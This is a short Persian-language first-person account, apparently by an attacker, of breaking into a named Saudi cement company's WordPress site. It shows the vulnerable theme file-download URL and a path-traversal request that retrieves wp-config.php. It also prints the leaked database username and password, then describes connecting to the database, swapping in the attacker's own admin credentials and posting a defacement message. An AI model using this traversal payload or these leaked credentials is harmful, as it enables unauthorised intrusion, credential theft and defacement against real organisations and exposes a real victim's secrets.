اطلاعات فنی:

این سایت از سیستم مدیریت محتوای وردپرس استفاده می کرد

و قالب سایت اختصاصی همین سایت بود

در قالب این سایت فایلی وجود داشت که فایل هایی را برای دانلود بازخوانی می کرد. به ادرس زیر

http://saudicement.com.sa/wp-content/themes/scc001/file-download.php

پارامتری های ورودی این فایل آدرس فایل در سرور این سایت بود. برای مثال یک کتاب الکرونیکی به ادرس زیر در سایت لینک داده شده بود:

http://saudicement.com.sa/wp-content/themes/scc001/file-download.php?path=2016/04/Corporate-Flyer.pdf

مهم ترین باگ سایت همین فایل بود که اطلاعات را مستقیم و بدون فیلترگزاری باز خوانی می کرد

همون طور که قبل گفتم چون سی ام اس سایت وردپرس بود، فایل کانفیگ بانک اطلاعاتی سایت رو بیرون کشیدم

http://saudicement.com.sa/wp-content/themes/scc001/file-download.php?path=../../wp-config.php

محتوای فایل شامل نام کاربری و پسورد بانک اطلاعاتی بود:

/** MySQL database username */
define(‘DB_USER’, ‘spotsadmin’);

/** MySQL database password */

define(‘DB_PASSWORD’, ‘۸ubujyze6’);

سپس به بانک اطلاعاتی متصل شدم. که در این سرور ۳۲ دیتابیس وجود داشت به دیتابیس سایت مورد نظر رفتم و سپس نام کاربری و پسورد خودم رو جایگزین کردم

در اخر هم ورود به وردپرس و گذاشتن پیغام هک شدن و تمام…